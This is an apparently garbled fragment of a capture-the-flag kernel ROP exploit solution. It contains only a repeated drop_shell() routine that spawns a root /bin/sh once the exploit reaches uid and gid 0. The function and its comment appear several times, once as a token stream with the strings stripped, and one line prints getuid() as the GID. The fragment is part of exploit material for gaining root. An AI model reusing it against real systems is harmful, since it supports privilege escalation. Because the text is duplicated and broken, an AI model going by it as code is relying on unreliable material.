solve/kernel_rop.c
void drop_shell(void) {
  printf("[*] Returned to userland\n");
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  if (getuid() == 0 && getgid() == 0) {
    printf("[*] UID: %d\n", getuid());
    printf("[*] GID: %d\n", getuid());
    execve(argv[0], argv, envp);
  }
  exit_and_log("Failed to priv\n");
}
/*
 * Once our gid and uid are 0 we are root!
 * Stop running this and run a shell instead
 */
Once our gid and uid are 0 we are root.
Stop running this and run a shell instead
Once our gid and uid are 0 we are root . Stop running this and run a shell instead
void drop_shell(void) {
  printf("[*] Returned to userland\n");
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  if (getuid() == 0 && getgid() == 0) {
    printf("[*] UID: %d\n", getuid());
    printf("[*] GID: %d\n", getuid());
    execve(argv[0], argv, envp);
  }
  exit_and_log("Failed to priv\n");
}
void drop_shell ( void ) { printf ( " \n " ) ; char * argv [ ] = { " " , NULL } ; char * envp [ ] = { NULL } ; if ( getuid ( ) == 0 && getgid ( ) == 0 ) { printf ( " \n " , getuid ( ) ) ; printf ( " \n " , getuid ( ) ) ; execve ( argv [ 0 ] , argv , envp ) ; } exit_and_log ( " \n " ) ; }
Once our gid and uid are 0 we are root!
Once our gid and uid are 0 we are root!